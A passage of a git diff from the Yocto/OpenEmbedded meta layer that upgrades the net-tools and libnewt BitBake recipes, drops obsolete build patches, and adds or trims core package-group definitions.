-.../sysroots/qemuarm64/usr/include/linux/if_tunnel.h:6:0,
- from iptunnel.c:39:
-.../qemuarm64/usr/include/linux/ip.h:85:8: error: redefinition of
-'struct iphdr'
- struct iphdr {
- ^~~~~
-In file included from iptunnel.c:29:0:
-.../qemuarm64/usr/include/netinet/ip.h:44:8: note: originally defined here
- struct iphdr
- ^~~~~
-
-Upstream-Status: Submitted [1]
-
-[1] https://sourceforge.net/p/net-tools/mailman/message/35413022/
-
-Signed-off-by: Randy MacLeod <Randy.MacLeod@windriver.com>
-Signed-off-by: Jackie Huang <jackie.huang@windriver.com>
----
- iptunnel.c | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/iptunnel.c b/iptunnel.c
-index 4943d83..acfcbc7 100644
---- a/iptunnel.c
-+++ b/iptunnel.c
-@@ -26,7 +26,6 @@
- #include <sys/socket.h>
- #include <sys/ioctl.h>
- #include <netinet/in.h>
--#include <netinet/ip.h>
- #include <arpa/inet.h>
- #if defined(__GLIBC__) && (__GLIBC__ > 2 || (__GLIBC__ == 2 && __GLIBC_MINOR__ >= 1))
- #include <net/if.h>
-@@ -36,6 +35,7 @@
- #include <linux/if_arp.h>
- #endif
- #include <linux/types.h>
-+#include <linux/ip.h>
- #include <linux/if_tunnel.h>
-
- #include "config.h"
---
-2.8.3
-
diff --git a/meta/recipes-extended/net-tools/net-tools_1.60-26.bb b/meta/recipes-extended/net-tools/net-tools_1.60-26.bb
deleted file mode 100644
index 69c9af317d..0000000000
--- a/meta/recipes-extended/net-tools/net-tools_1.60-26.bb
+++ /dev/null
@@ -1,122 +0,0 @@
-SUMMARY = "Basic networking tools"
-DESCRIPTION = "A collection of programs that form the base set of the NET-3 networking distribution for the Linux operating system"
-HOMEPAGE = "http://net-tools.berlios.de/"
-BUGTRACKER = "http://bugs.debian.org/net-tools"
-LICENSE = "GPLv2+"
-LIC_FILES_CHKSUM = "file://COPYING;md5=8ca43cbc842c2336e835926c2166c28b \
- file://ifconfig.c;beginline=11;endline=15;md5=d1ca372080ad5401e23ca0afc35cf9ba"
-
-SRC_URI = "http://snapshot.debian.org/archive/debian/20050312T000000Z/pool/main/n/${BPN}/${BPN}_1.60.orig.tar.gz;name=tarball \
- http://snapshot.debian.org/archive/debian//20150831T093342Z/pool/main/n/${BPN}/${BPN}_${PV}.diff.gz;apply=no;name=patch \
- file://net-tools-config.h \
- file://net-tools-config.make \
- file://ifconfig-interface-0-del-IP-will-remove-the-aliased-.patch \
- file://musl-fixes.patch \
- file://net-tools-1.60-sctp1.patch \
- file://net-tools-1.60-sctp2-quiet.patch \
- file://net-tools-1.60-sctp3-addrs.patch \
- file://0001-lib-inet6.c-INET6_rresolve-various-fixes.patch \
- file://net-tools-fix-building-with-linux-4.8.patch \
- "
-
-# for this package we're mostly interested in tracking debian patches,
-# and not in the upstream version where all development has effectively stopped
-UPSTREAM_CHECK_REGEX = "(?P<pver>((\d+\.*)+)-((\d+\.*)+))\.(diff|debian\.tar)\.(gz|xz)"
-
-S = "${WORKDIR}/net-tools-1.60"
-
-SRC_URI[tarball.md5sum] = "ecaf37acb5b5daff4bdda77785fd916d"
-SRC_URI[tarball.sha256sum] = "ec67967cf7b1a3a3828a84762fbc013ac50ee5dc9aa3095d5c591f302c2de0f5"
-
-SRC_URI[patch.md5sum] = "ea3592f49ac8380962bc4d9b66c7e7e9"
-SRC_URI[patch.sha256sum] = "aeeeafaff68866a446f01bb639d4e0146a60af34dcd20e31a3e46585022fc76c"
-
-# the package is taken from snapshots.debian.org; that source is static and goes stale
-# so we check the latest upstream from a directory that does get updated
-UPSTREAM_CHECK_URI = "${DEBIAN_MIRROR}/main/n/net-tools/"
-
-inherit gettext
-
-do_patch[depends] = "quilt-native:do_populate_sysroot"
-
-# The Makefile is lame, no parallel build
-PARALLEL_MAKE = ""
-
-# Unlike other Debian packages, net-tools *.diff.gz contains another series of
-# patches maintained by quilt. So manually apply them before applying other local
-# patches. Also remove all temp files before leaving, because do_patch() will pop
-# up all previously applied patches in the start
-nettools_do_patch() {
- cd ${S}
- quilt pop -a || true
- if [ -d ${S}/.pc-nettools ]; then
- rm -rf ${S}/.pc
- mv ${S}/.pc-nettools ${S}/.pc
- QUILT_PATCHES=${S}/debian/patches quilt pop -a
- rm -rf ${S}/.pc ${S}/debian
- fi
- patch -p1 < ${WORKDIR}/${BPN}_${PV}.diff
- QUILT_PATCHES=${S}/debian/patches quilt push -a
- mv ${S}/.pc ${S}/.pc-nettools
-}
-
-do_unpack[cleandirs] += "${S}"
-
-# We invoke base do_patch at end, to incorporate any local patch
-python do_patch() {
- bb.build.exec_func('nettools_do_patch', d)
- bb.build.exec_func('patch_do_patch', d)
-}
-
-do_configure() {
- # net-tools has its own config mechanism requiring "make config"
- # we pre-generate desired options and copy to source directory instead
- cp ${WORKDIR}/net-tools-config.h ${S}/config.h
- cp ${WORKDIR}/net-tools-config.make ${S}/config.make
-
- if [ "${USE_NLS}" = "no" ]; then
- sed -i -e 's/^I18N=1/# I18N=1/' ${S}/config.make
- fi
-}
-
-do_compile() {
- # net-tools use COPTS/LOPTS to allow adding custom options
- oe_runmake COPTS="$CFLAGS" LOPTS="$LDFLAGS"
-}
-
-do_install() {
- # We don't need COPTS or LOPTS, but let's be consistent.
- oe_runmake COPTS="$CFLAGS" LOPTS="$LDFLAGS" 'BASEDIR=${D}' install
-
- if [ "${base_bindir}" != "/bin" ]; then
- mkdir -p ${D}/${base_bindir}
- mv ${D}/bin/* ${D}/${base_bindir}/
- rmdir ${D}/bin
- fi
- if [ "${base_sbindir}" != "/sbin" ]; then
- mkdir ${D}/${base_sbindir}
- mv ${D}/sbin/* ${D}/${base_sbindir}/
- rmdir ${D}/sbin
- fi
-}
-
-inherit update-alternatives
-
-base_sbindir_progs = "arp ifconfig ipmaddr iptunnel mii-tool nameif plipconfig rarp route slattach"
-base_bindir_progs = "dnsdomainname domainname hostname netstat nisdomainname ypdomainname"
-
-ALTERNATIVE_${PN} = "${base_sbindir_progs} ${base_bindir_progs}"
-ALTERNATIVE_${PN}-doc += "hostname.1 dnsdomainname.1"
-ALTERNATIVE_LINK_NAME[hostname.1] = "${mandir}/man1/hostname.1"
-ALTERNATIVE_LINK_NAME[dnsdomainname.1] = "${mandir}/man1/dnsdomainname.1"
-ALTERNATIVE_PRIORITY[hostname.1] = "10"
-
-python __anonymous() {
- for prog in d.getVar('base_sbindir_progs').split():
- d.setVarFlag('ALTERNATIVE_LINK_NAME', prog, '%s/%s' % (d.getVar('base_sbindir'), prog))
- for prog in d.getVar('base_bindir_progs').split():
- d.setVarFlag('ALTERNATIVE_LINK_NAME', prog, '%s/%s' % (d.getVar('base_bindir'), prog))
-}
-ALTERNATIVE_PRIORITY = "100"
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-extended/net-tools/net-tools_2.10.bb b/meta/recipes-extended/net-tools/net-tools_2.10.bb
new file mode 100644
index 0000000000..33304297ec
--- /dev/null
+++ b/meta/recipes-extended/net-tools/net-tools_2.10.bb
@@ -0,0 +1,121 @@
+SUMMARY = "Basic networking tools"
+DESCRIPTION = "A collection of programs that form the base set of the NET-3 networking distribution for the Linux operating system"
+HOMEPAGE = "http://net-tools.berlios.de/"
+BUGTRACKER = "http://bugs.debian.org/net-tools"
+LICENSE = "GPL-2.0-or-later"
+LIC_FILES_CHKSUM = "file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263 \
+ file://ifconfig.c;beginline=11;endline=15;md5=d1ca372080ad5401e23ca0afc35cf9ba"
+
+SRCREV = "80d7b95067f1f22fece9537dea6dff53081f4886"
+SRC_URI = "git://git.code.sf.net/p/net-tools/code;protocol=https;branch=master \
+ file://net-tools-config.h \
+ file://net-tools-config.make \
+ file://Add_missing_headers.patch \
+"
+
+S = "${WORKDIR}/git"
+
+inherit gettext
+
+# The Makefile is lame, no parallel build
+PARALLEL_MAKE = ""
+
+PACKAGECONFIG ??= "hostname arp serial plip"
+PACKAGECONFIG[hostname] = ""
+PACKAGECONFIG[arp] = ""
+PACKAGECONFIG[serial] = ""
+PACKAGECONFIG[plip] = ""
+PACKAGECONFIG[slattach] = ""
+PACKAGECONFIG[plipconfig] = ""
+
+do_configure() {
+ # net-tools has its own config mechanism requiring "make config"
+ # we pre-generate desired options and copy to source directory instead
+ cp ${WORKDIR}/net-tools-config.h ${S}/config.h
+ cp ${WORKDIR}/net-tools-config.make ${S}/config.make
+
+ if [ "${USE_NLS}" = "no" ]; then
+ sed -i -e 's/^I18N=1/# I18N=1/' ${S}/config.make
+ fi
+
+ if ${@bb.utils.contains('PACKAGECONFIG', 'hostname', 'true', 'false', d)} ; then
+ echo "#define HAVE_HOSTNAME_TOOLS 1" >> ${S}/config.h
+ echo "#define HAVE_HOSTNAME_SYMLINKS 1" >> ${S}/config.h
+ echo "HAVE_HOSTNAME_TOOLS=1" >> ${S}/config.make
+ echo "HAVE_HOSTNAME_SYMLINKS=1" >> ${S}/config.make
+ fi
+ if ${@bb.utils.contains('PACKAGECONFIG', 'arp', 'true', 'false', d)} ; then
+ echo "#define HAVE_ARP_TOOLS 1" >> ${S}/config.h
+ echo "HAVE_ARP_TOOLS=1" >> ${S}/config.make
+ fi
+ if ${@bb.utils.contains('PACKAGECONFIG', 'serial', 'true', 'false', d)} ; then
+ echo "#define HAVE_SERIAL_TOOLS 1" >> ${S}/config.h
+ echo "HAVE_SERIAL_TOOLS=1" >> ${S}/config.make
+ fi
+ if ${@bb.utils.contains('PACKAGECONFIG', 'plip', 'true', 'false', d)} ; then
+ echo "#define HAVE_PLIP_TOOLS 1" >> ${S}/config.h
+ echo "HAVE_PLIP_TOOLS=1" >> ${S}/config.make
+ fi
+}
+
+do_compile() {
+ # net-tools use COPTS/LOPTS to allow adding custom options
+ oe_runmake COPTS="$CFLAGS" LOPTS="$LDFLAGS"
+}
+
+do_install() {
+ # We don't need COPTS or LOPTS, but let's be consistent.
+ oe_runmake COPTS="$CFLAGS" LOPTS="$LDFLAGS" BASEDIR=${D} INSTALLNLSDIR=${D}${datadir}/locale mandir=${mandir} install
+
+ if [ "${base_bindir}" != "/bin" ]; then
+ mkdir -p ${D}/${base_bindir}
+ mv ${D}/bin/* ${D}/${base_bindir}/
+ rmdir ${D}/bin
+ fi
+ if [ "${base_sbindir}" != "/sbin" ]; then
+ mkdir ${D}/${base_sbindir}
+ mv ${D}/sbin/* ${D}/${base_sbindir}/
+ rmdir ${D}/sbin
+ fi
+}
+
+inherit update-alternatives
+
+base_sbindir_progs = "ipmaddr iptunnel mii-tool nameif \
+ ${@bb.utils.contains('PACKAGECONFIG', 'arp', 'arp rarp', '', d)} \
+ ${@bb.utils.contains('PACKAGECONFIG', 'plip', 'plipconfig', '', d)} \
+ ${@bb.utils.contains('PACKAGECONFIG', 'serial', 'slattach', '', d)} \
+"
+base_bindir_progs = "ifconfig netstat route \
+ ${@bb.utils.contains('PACKAGECONFIG', 'hostname', 'dnsdomainname domainname hostname nisdomainname ypdomainname', '', d)} \
+"
+
+ALTERNATIVE:${PN} = "${base_sbindir_progs} ${base_bindir_progs}"
+ALTERNATIVE:${PN}-doc += "${@bb.utils.contains('PACKAGECONFIG', 'hostname', 'hostname.1 dnsdomainname.1', '', d)}"
+ALTERNATIVE_LINK_NAME[hostname.1] = "${mandir}/man1/hostname.1"
+ALTERNATIVE_LINK_NAME[dnsdomainname.1] = "${mandir}/man1/dnsdomainname.1"
+ALTERNATIVE_PRIORITY[hostname.1] = "10"
+
+python __anonymous() {
+ for prog in d.getVar('base_sbindir_progs').split():
+ d.setVarFlag('ALTERNATIVE_LINK_NAME', prog, '%s/%s' % (d.getVar('base_sbindir'), prog))
+ for prog in d.getVar('base_bindir_progs').split():
+ d.setVarFlag('ALTERNATIVE_LINK_NAME', prog, '%s/%s' % (d.getVar('base_bindir'), prog))
+}
+ALTERNATIVE_PRIORITY = "100"
+
+NETTOOLS_PACKAGES = "${PN}-mii-tool"
+NETTOOLS_PACKAGES:class-native = ""
+
+PACKAGE_BEFORE_PN = "${NETTOOLS_PACKAGES}"
+RDEPENDS:${PN} += "${NETTOOLS_PACKAGES}"
+
+FILES:${PN}-mii-tool = "${base_sbindir}/mii-tool"
+
+ALTERNATIVE:${PN}:remove = "mii-tool"
+
+ALTERNATIVE:${PN}-mii-tool = "mii-tool"
+ALTERNATIVE_TARGET[mii-tool] = "${base_sbindir}/mii-tool"
+ALTERNATIVE_LINK_NAME[mii-tool] = "${base_sbindir}/mii-tool"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-extended/newt/files/0001-detect-gold-as-GNU-linker-too.patch b/meta/recipes-extended/newt/files/0001-detect-gold-as-GNU-linker-too.patch
index a4b3afd959..090ed5c1c9 100644
--- a/meta/recipes-extended/newt/files/0001-detect-gold-as-GNU-linker-too.patch
+++ b/meta/recipes-extended/newt/files/0001-detect-gold-as-GNU-linker-too.patch
@@ -1,4 +1,4 @@
-From 58245b859ffbcb1780575bf1b0a018d55e74e434 Mon Sep 17 00:00:00 2001
+From 08ba909500412611953aea0fa2fe0d8fe76b6e24 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Andreas=20M=C3=BCller?= <schnitzeltony@googlemail.com>
Date: Wed, 21 Sep 2016 21:14:40 +0200
Subject: [PATCH] detect gold as GNU linker too
@@ -9,23 +9,21 @@ Content-Transfer-Encoding: 8bit
Upstream-Status: Pending
Signed-off-by: Andreas Müller <schnitzeltony@googlemail.com>
+
---
configure.ac | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/configure.ac b/configure.ac
-index 03e8bda..c2fce51 100644
+index 468c718..cd93f30 100644
--- a/configure.ac
+++ b/configure.ac
@@ -28,7 +28,7 @@ AC_CHECK_SIZEOF([void *])
AC_MSG_CHECKING([for GNU ld])
- LD=`$CC -print-prog-name=ld 2>&5`
+ LD=$($CC -print-prog-name=ld 2>&5)
--if test `$LD -v 2>&1 | $ac_cv_path_GREP -c "GNU ld"` = 0; then
-+if test `$LD -v 2>&1 | $ac_cv_path_GREP -c "GNU "` = 0; then
+-if test $($LD -v 2>&1 | $ac_cv_path_GREP -c "GNU ld") = 0; then
++if test $($LD -v 2>&1 | $ac_cv_path_GREP -c "GNU ") = 0; then
# Not
GNU_LD=""
AC_MSG_RESULT([no])
---
-2.5.5
-
diff --git a/meta/recipes-extended/newt/files/cross_ar.patch b/meta/recipes-extended/newt/files/cross_ar.patch
index 03007aa4f4..86cc0be1d3 100644
--- a/meta/recipes-extended/newt/files/cross_ar.patch
+++ b/meta/recipes-extended/newt/files/cross_ar.patch
@@ -18,18 +18,19 @@ Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
configure.ac | 4 ++++
2 files changed, 6 insertions(+), 1 deletion(-)
-diff --git a/Makefile.in b/Makefile.in
---- a/Makefile.in
-+++ b/Makefile.in
+Index: newt-0.52.20/Makefile.in
+===================================================================
+--- newt-0.52.20.orig/Makefile.in
++++ newt-0.52.20/Makefile.in
@@ -7,6 +7,7 @@ CFLAGS = @CFLAGS@
LDFLAGS = @LDFLAGS@
- CPPFLAGS = -D_GNU_SOURCE @CPPFLAGS@
+ CPPFLAGS = -D_GNU_SOURCE @CPPFLAGS@
GNU_LD = @GNU_LD@
+AR = @AR@
VERSION = @VERSION@
TAG = r$(subst .,-,$(VERSION))
-@@ -109,7 +110,7 @@ whiptcl.$(SOEXT): $(WHIPTCLOBJS) $(LIBNEWTSH)
+@@ -109,7 +110,7 @@ whiptcl.$(SOEXT): $(WHIPTCLOBJS) $(LIBNE
$(CC) -shared $(SHCFLAGS) $(LDFLAGS) -o whiptcl.$(SOEXT) $(WHIPTCLOBJS) -L. -lnewt $(LIBTCL) -lpopt $(LIBS)
$(LIBNEWT): $(LIBOBJS)
@@ -38,10 +39,10 @@ diff --git a/Makefile.in b/Makefile.in
newt.o $(SHAREDDIR)/newt.o: newt.c Makefile
-diff --git a/configure.ac b/configure.ac
-index 92e6da8..cd83d57 100644
---- a/configure.ac
-+++ b/configure.ac
+Index: newt-0.52.20/configure.ac
+===================================================================
+--- newt-0.52.20.orig/configure.ac
++++ newt-0.52.20/configure.ac
@@ -15,6 +15,10 @@ AC_PROG_INSTALL
AC_PROG_LN_S
AC_PROG_GREP
@@ -51,8 +52,5 @@ index 92e6da8..cd83d57 100644
+AC_DEFUN([AC_PROG_AR], [AC_CHECK_TOOL(AR, ar, :)])
+AC_PROG_AR
- # Are we using GNU ld?
- AC_MSG_CHECKING([for GNU ld])
---
-1.8.1.2
-
+ AC_CHECK_SIZEOF([long])
+ AC_CHECK_SIZEOF([long long])
diff --git a/meta/recipes-extended/newt/files/fix_SHAREDDIR.patch b/meta/recipes-extended/newt/files/fix_SHAREDDIR.patch
deleted file mode 100644
index b0a1e8c105..0000000000
--- a/meta/recipes-extended/newt/files/fix_SHAREDDIR.patch
+++ /dev/null
@@ -1,37 +0,0 @@
-Upstream-Status: Pending
-
-Author: dexuan.cui@intel.com
-Date: Fri Apr 15 16:17:39 CST 2011
-
-The patch fixes a parallel-make issue: when generating $(SHAREDDIR)/%.o, we should
-ensure the directory ${SHAREDDIR} exists.
-
-We need to push the patch to upstream.
-
-Signed-off-by: Dexuan Cui <dexuan.cui@intel.com>
-Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
----
- Makefile.in | 4 ++--
- 1 file changed, 2 insertions(+), 2 deletions(-)
-
-diff --git a/Makefile.in b/Makefile.in
---- a/Makefile.in
-+++ b/Makefile.in
-@@ -128,12 +128,12 @@ $(SHAREDDIR):
-
- sharedlib: $(LIBNEWTSH)
-
--$(LIBNEWTSH): $(SHAREDDIR) $(SHAREDOBJS)
-+$(LIBNEWTSH): $(SHAREDOBJS)
- $(CC) -shared -o $(LIBNEWTSH) $(SHLIBFLAGS) $(SHAREDOBJS) $(LDFLAGS) $(LIBS)
- ln -fs $(LIBNEWTSONAME) libnewt.$(SOEXT)
- ln -fs $(LIBNEWTSH) $(LIBNEWTSONAME)
-
--$(SHAREDDIR)/%.o : %.c
-+$(SHAREDDIR)/%.o : %.c $(SHAREDDIR)
- $(CC) $(SHCFLAGS) -c $(CFLAGS) $(CPPFLAGS) -o $@ $<
-
- install: $(LIBNEWT) install-sh whiptail
---
-1.8.1.2
-
diff --git a/meta/recipes-extended/newt/files/pie-flags.patch b/meta/recipes-extended/newt/files/pie-flags.patch
deleted file mode 100644
index 8883e26adf..0000000000
--- a/meta/recipes-extended/newt/files/pie-flags.patch
+++ /dev/null
@@ -1,36 +0,0 @@
-specify -fPIC after CFLAGS so it can override the CFLAGS containing -pie and -fpie
-this makes sure the objects that go into shared objects are compiled with -fPIC
-and not with -fpie. We can not use -fpie on objects which will go into .so files
-Fixes errors like
-
-| /mnt/oe/build/tmp-glibc/sysroots/x86_64-linux/usr/libexec/x86_64-oe-linux/gcc/x86_64-oe-linux/5.3.0/ld: shared/newt.o: relocation R_X86_64_PC32 against undefined symbol `SLtt_Screen_Rows@@SLANG2' can not be used when making a shared object; recompile with -fPIC
-| /mnt/oe/build/tmp-glibc/sysroots/x86_64-linux/usr/libexec/x86_64-oe-linux/gcc/x86_64-oe-linux/5.3.0/ld: final link failed: Bad value
-| collect2: error: ld returned 1 exit status
-| make: *** [libnewt.so.0.52.18] Error 1
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-Upstream-Status: Pending
-Index: newt-0.52.18/Makefile.in
-===================================================================
---- newt-0.52.18.orig/Makefile.in
-+++ newt-0.52.18/Makefile.in
-@@ -96,8 +96,8 @@ _snack.$(SOEXT): snack.c $(LIBNEWTSH)
- PIFLAGS=`$$pyconfig --includes`; \
- PLDFLAGS=`$$pyconfig --ldflags`; \
- PLFLAGS=`$$pyconfig --libs`; \
-- echo $(CC) $(SHCFLAGS) $(CPPFLAGS) $$PIFLAGS $$PCFLAGS -c -o $$ver/snack.o snack.c; \
-- $(CC) $(SHCFLAGS) $(CPPFLAGS) $$PIFLAGS $$PCFLAGS -c -o $$ver/snack.o snack.c; \
-+ echo $(CC) $(CPPFLAGS) $(SHCFLAGS) $$PIFLAGS $$PCFLAGS -c -o $$ver/snack.o snack.c; \
-+ $(CC) $(CPPFLAGS) $(SHCFLAGS) $$PIFLAGS $$PCFLAGS -c -o $$ver/snack.o snack.c; \
- echo $(CC) --shared $$PLDFLAGS $$PLFLAGS $(LDFLAGS) -o $$ver/_snack.$(SOEXT) $$ver/snack.o -L. -lnewt $(LIBS); \
- $(CC) --shared $$PLDFLAGS $$PLFLAGS $(LDFLAGS) -o $$ver/_snack.$(SOEXT) $$ver/snack.o -L. -lnewt $(LIBS); \
- done || :
-@@ -135,7 +135,7 @@ $(LIBNEWTSH): $(SHAREDOBJS)
- ln -fs $(LIBNEWTSH) $(LIBNEWTSONAME)
-
- $(SHAREDDIR)/%.o : %.c $(SHAREDDIR)
-- $(CC) $(SHCFLAGS) -c $(CFLAGS) $(CPPFLAGS) -o $@ $<
-+ $(CC) -c $(CFLAGS) $(CPPFLAGS) $(SHCFLAGS) -o $@ $<
-
- install: $(LIBNEWT) install-sh whiptail
- [ -d $(instroot)/$(bindir) ] || install -m 755 -d $(instroot)/$(bindir)
diff --git a/meta/recipes-extended/newt/libnewt-python_0.52.20.bb b/meta/recipes-extended/newt/libnewt-python_0.52.20.bb
deleted file mode 100644
index 20369effeb..0000000000
--- a/meta/recipes-extended/newt/libnewt-python_0.52.20.bb
+++ /dev/null
@@ -1,28 +0,0 @@
-require recipes-extended/newt/libnewt_${PV}.bb
-
-SUMMARY .= " - python"
-DEPENDS = "libnewt python3"
-RDEPENDS_${PN} += "python3-core"
-
-inherit python3native python3-dir
-
-EXTRA_OECONF += "--with-python"
-EXTRA_OEMAKE += "PYTHONVERS=${PYTHON_DIR}"
-
-
-do_compile () {
- VERSION="$(sed -n 's/^VERSION = //p' Makefile)"
- oe_runmake _snack.so
-}
-
-do_install () {
- install -d ${D}${PYTHON_SITEPACKAGES_DIR}
- install -m 0755 ${PYTHON_DIR}/_snack.so ${D}${PYTHON_SITEPACKAGES_DIR}/
- install -m 0644 snack.py ${D}${PYTHON_SITEPACKAGES_DIR}/
-}
-
-PACKAGES_remove = "whiptail"
-
-FILES_${PN} = "${PYTHON_SITEPACKAGES_DIR}/*"
-
-BBCLASSEXTEND = "native"
diff --git a/meta/recipes-extended/newt/libnewt_0.52.20.bb b/meta/recipes-extended/newt/libnewt_0.52.24.bb
index 65ce70c47d..1e39a1c5ca 100644
--- a/meta/recipes-extended/newt/libnewt_0.52.20.bb
+++ b/meta/recipes-extended/newt/libnewt_0.52.24.bb
@@ -11,44 +11,46 @@ slang library."
HOMEPAGE = "https://releases.pagure.org/newt/"
SECTION = "libs"
-LICENSE = "LGPLv2"
+LICENSE = "LGPL-2.0-only"
LIC_FILES_CHKSUM = "file://COPYING;md5=5f30f0716dfdd0d91eb439ebec522ec2"
# slang needs to be >= 2.2
-DEPENDS = "slang popt"
+DEPENDS = "slang popt python3"
SRC_URI = "https://releases.pagure.org/newt/newt-${PV}.tar.gz \
- file://fix_SHAREDDIR.patch \
file://cross_ar.patch \
file://Makefile.in-Add-tinfo-library-to-the-linking-librari.patch \
- file://pie-flags.patch \
file://0001-detect-gold-as-GNU-linker-too.patch \
-"
+ "
-SRC_URI[md5sum] = "70b288f821234593a8e7920e435b259b"
-SRC_URI[sha256sum] = "8d66ba6beffc3f786d4ccfee9d2b43d93484680ef8db9397a4fb70b5adbb6dbc"
+SRC_URI[sha256sum] = "5ded7e221f85f642521c49b1826c8de19845aa372baf5d630a51774b544fbdbb"
S = "${WORKDIR}/newt-${PV}"
-EXTRA_OECONF = "--without-tcl --without-python"
+inherit autotools-brokensep python3native python3-dir python3targetconfig
-inherit autotools-brokensep
+EXTRA_OECONF = "--without-tcl --with-python"
+
+EXTRA_OEMAKE += "PYTHONVERS=${PYTHON_DIR}"
CLEANBROKEN = "1"
export CPPFLAGS
-PACKAGES_prepend = "whiptail "
+PACKAGES:prepend = "whiptail ${PN}-python "
+
+RDEPENDS:${PN}-python += "python3-core"
+FILES:${PN}-python = "${PYTHON_SITEPACKAGES_DIR}/*"
-do_configure_prepend() {
+do_configure:prepend() {
sh autogen.sh
}
-do_compile_prepend() {
+do_compile:prepend() {
# Make sure the recompile is OK
rm -f ${B}/.depend
}
-FILES_whiptail = "${bindir}/whiptail"
+FILES:whiptail = "${bindir}/whiptail"
-BBCLASSEXTEND = "native"
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-extended/packagegroups/packagegroup-core-base-utils.bb b/meta/recipes-extended/packagegroups/packagegroup-core-base-utils.bb
new file mode 100644
index 0000000000..b17cba4a78
--- /dev/null
+++ b/meta/recipes-extended/packagegroups/packagegroup-core-base-utils.bb
@@ -0,0 +1,61 @@
+#
+# Copyright (C) 2019 Konsulko Group
+#
+
+SUMMARY = "Full-featured set of base utils"
+DESCRIPTION = "Package group bringing in packages needed to provide much of the base utils type functionality found in busybox"
+
+PACKAGE_ARCH = "${MACHINE_ARCH}"
+
+inherit packagegroup
+
+VIRTUAL-RUNTIME_vim ?= "vim-tiny"
+
+PACKAGE_ARCH = "${MACHINE_ARCH}"
+
+RDEPENDS:${PN} = "\
+ base-passwd \
+ bash \
+ bind-utils \
+ bzip2 \
+ coreutils \
+ cpio \
+ ${@bb.utils.contains("DISTRO_FEATURES", "systemd", "", "debianutils-run-parts", d)} \
+ dhcpcd \
+ ${@bb.utils.contains("DISTRO_FEATURES", "systemd", "", "kea", d)} \
+ diffutils \
+ ${@bb.utils.contains("DISTRO_FEATURES", "systemd", "", "dpkg-start-stop", d)} \
+ e2fsprogs \
+ ed \
+ file \
+ findutils \
+ gawk \
+ grep \
+ gzip \
+ ${@bb.utils.contains("DISTRO_FEATURES", "systemd", "", "ifupdown", d)} \
+ inetutils \
+ inetutils-ping \
+ inetutils-telnet \
+ inetutils-tftp \
+ inetutils-traceroute \
+ iproute2 \
+ ${@bb.utils.contains("MACHINE_FEATURES", "keyboard", "kbd", "", d)} \
+ kmod \
+ less \
+ ncurses-tools \
+ net-tools \
+ parted \
+ patch \
+ procps \
+ psmisc \
+ sed \
+ shadow-base \
+ tar \
+ time \
+ unzip \
+ util-linux \
+ ${VIRTUAL-RUNTIME_vim} \
+ wget \
+ which \
+ xz \
+ "
diff --git a/meta/recipes-extended/packagegroups/packagegroup-core-full-cmdline.bb b/meta/recipes-extended/packagegroups/packagegroup-core-full-cmdline.bb
index fdede5954c..8dc62954a2 100644
--- a/meta/recipes-extended/packagegroups/packagegroup-core-full-cmdline.bb
+++ b/meta/recipes-extended/packagegroups/packagegroup-core-full-cmdline.bb
@@ -4,13 +4,11 @@
SUMMARY = "Standard full-featured Linux system"
DESCRIPTION = "Package group bringing in packages needed for a more traditional full-featured Linux system"
-PR = "r6"
inherit packagegroup
PACKAGES = "\
packagegroup-core-full-cmdline \
- packagegroup-core-full-cmdline-libs \
packagegroup-core-full-cmdline-utils \
packagegroup-core-full-cmdline-extended \
packagegroup-core-full-cmdline-dev-utils \
@@ -19,42 +17,7 @@ PACKAGES = "\
packagegroup-core-full-cmdline-sys-services \
"
-python __anonymous () {
- # For backwards compatibility after rename
- namemap = {}
- namemap["packagegroup-core-full-cmdline"] = "packagegroup-core-basic"
- namemap["packagegroup-core-full-cmdline-libs"] = "packagegroup-core-basic-libs"
- namemap["packagegroup-core-full-cmdline-utils"] = "packagegroup-core-basic-utils"
- namemap["packagegroup-core-full-cmdline-extended"] = "packagegroup-core-basic-extended"
- namemap["packagegroup-core-full-cmdline-dev-utils"] = "packagegroup-core-dev-utils"
- namemap["packagegroup-core-full-cmdline-multiuser"] = "packagegroup-core-multiuser"
- namemap["packagegroup-core-full-cmdline-initscripts"] = "packagegroup-core-initscripts"
- namemap["packagegroup-core-full-cmdline-sys-services"] = "packagegroup-core-sys-services"
-
- packages = d.getVar("PACKAGES").split()
- for pkg in packages:
- if pkg.endswith('-dev'):
- mapped = namemap.get(pkg[:-4], None)
- if mapped:
- mapped += '-dev'
- elif pkg.endswith('-dbg'):
- mapped = namemap.get(pkg[:-4], None)
- if mapped:
- mapped += '-dbg'
- else:
- mapped = namemap.get(pkg, None)
-
- if mapped:
- oldtaskname = mapped.replace("packagegroup-core", "task-core")
- mapstr = " %s %s" % (mapped, oldtaskname)
- d.appendVar("RPROVIDES_%s" % pkg, mapstr)
- d.appendVar("RREPLACES_%s" % pkg, mapstr)
- d.appendVar("RCONFLICTS_%s" % pkg, mapstr)
-}
-
-
-RDEPENDS_packagegroup-core-full-cmdline = "\
- packagegroup-core-full-cmdline-libs \
+RDEPENDS:packagegroup-core-full-cmdline = "\
packagegroup-core-full-cmdline-utils \
packagegroup-core-full-cmdline-extended \
packagegroup-core-full-cmdline-dev-utils \
@@ -63,11 +26,7 @@ RDEPENDS_packagegroup-core-full-cmdline = "\
packagegroup-core-full-cmdline-sys-services \
"
-RDEPENDS_packagegroup-core-full-cmdline-libs = "\
- glib-2.0 \
- "
-
-RDEPENDS_packagegroup-core-full-cmdline-utils = "\
+RDEPENDS:packagegroup-core-full-cmdline-utils = "\
bash \
acl \
attr \
@@ -79,28 +38,24 @@ RDEPENDS_packagegroup-core-full-cmdline-utils = "\
file \
findutils \
gawk \
- gmp \
grep \
+ less \
makedevs \
mc \
- mc-fish \
+ mc-shell \
mc-helpers \
mc-helpers-perl \
- mktemp \
ncurses \
net-tools \
- pax \
- popt \
procps \
psmisc \
sed \
tar \
time \
util-linux \
- zlib \
"
-RDEPENDS_packagegroup-core-full-cmdline-extended = "\
+RDEPENDS:packagegroup-core-full-cmdline-extended = "\
iproute2 \
iputils \
iptables \
